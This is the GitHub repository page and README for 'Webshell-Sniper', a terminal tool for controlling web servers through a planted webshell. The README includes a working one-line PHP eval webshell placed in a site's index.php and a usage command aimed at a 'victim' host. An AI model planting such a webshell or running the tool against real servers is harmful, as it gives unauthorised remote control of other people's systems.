🔨 Manage your website via terminal
Switch branches/tags
Clone or download
WangYihang Merge pull request #5 from JuliRash/master
corrected file name to requirements.txt
Latest commit 9a267c5 Nov 14, 2018
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
core [+] fix bug Nov 8, 2017
docs [+] Change folder structure May 14, 2018
images Add Screenshot Aug 2, 2017
plugins [+] Arch Jul 26, 2017
third [+] Add flag reaper support file Oct 9, 2017
.gitignore [+] Update .gitignore May 14, 2018
LICENSE Create LICENSE Oct 27, 2017
README.md Update README.md Oct 15, 2018
TODO.txt [+] Update README.md Jan 30, 2018
mount.py Create mount.py Jun 5, 2018
requirements.txt corrected file name to requirements.txt Nov 14, 2018
webshell-sniper.py [+] Add argv Jan 30, 2018
webshells.json [+] fix bug Nov 8, 2017

README.md

Webshell-Sniper

A webshell manager via terminal

Usage :

Usage : 
        python webshell-sniper.py [URL] [METHOD] [AUTH]
Example : 
        python webshell-sniper.py http://127.0.0.1/c.php POST c
Author : 
        WangYihang <wangyihanger@gmail.com>
# cat /var/www/html/index.php
<?php eval($_POST['s3cr3t']);?>
# python webshell-sniper.py http://victim.com/index.php POST s3cr3t
...

Installation:

git clone https://github.com/WangYihang/Webshell-Sniper
cd Webshell-Sniper
pip install -r requirements.txt

Example :

v1.1.2

A Pentest Example via Webshell-Sniper (YouTube)

Compatibility :

Enviroment :
    Attacker :
        Linux
        python 2.7
    Victim :
        apache 2.4
        php 7.0

Addations:

  1. This tool only support to run on unix-like system.
  2. It is able to help user control web server which is running PHP or MySQL